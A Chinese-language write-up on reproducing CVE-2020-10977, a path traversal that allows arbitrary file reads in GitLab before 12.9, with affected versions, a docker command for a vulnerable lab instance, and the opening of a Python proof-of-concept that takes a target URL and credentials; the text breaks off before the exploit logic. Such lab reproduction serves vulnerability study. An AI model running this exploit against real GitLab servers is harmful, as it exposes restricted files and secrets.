GitLab任意文件读取漏洞（CVE-2020-10977）复现

漏洞概述

 

GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git（版本控制系统）项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。 GitLab（企业版和社区版）12.9之前版本中存在路径遍历漏洞。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。

 

影响版本

 

GitLab GitLab EE >=8.5，<=12.9

GitLab GitLab CE >=8.5，<=12.9

 

 

环境搭建

使用docker来安装

docker run --detach \
  --hostname 127.0.0.1 \
  --publish 443:443 --publish 80:80 --publish 22:22 \
  --name gitlab \
  --restart always \
  --volume /root/config:/etc/gitlab \
  --volume /root/logs:/var/log/gitlab \
  --volume /root/data:/var/opt/gitlab \
  gitlab/gitlab-ee:12.1.6-ee.0

访问地址: http://127.0.0.1,这个地址是你在docker启动的时候指定的

设置root账号的密码

新注册一个普通账号

 

漏洞复现

Poc

#!/usr/bin/env python3
 
import re
import sys
import json
import requests
import argparse
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
 
parser = argparse.ArgumentParser()
parser.add_argument('url', help='Target URL with http(s)://')
parser.add_argument('username', help='GitLab Username')
parser.add_argument('password', help='GitLab Password')
args = parser.parse_args()
 
base_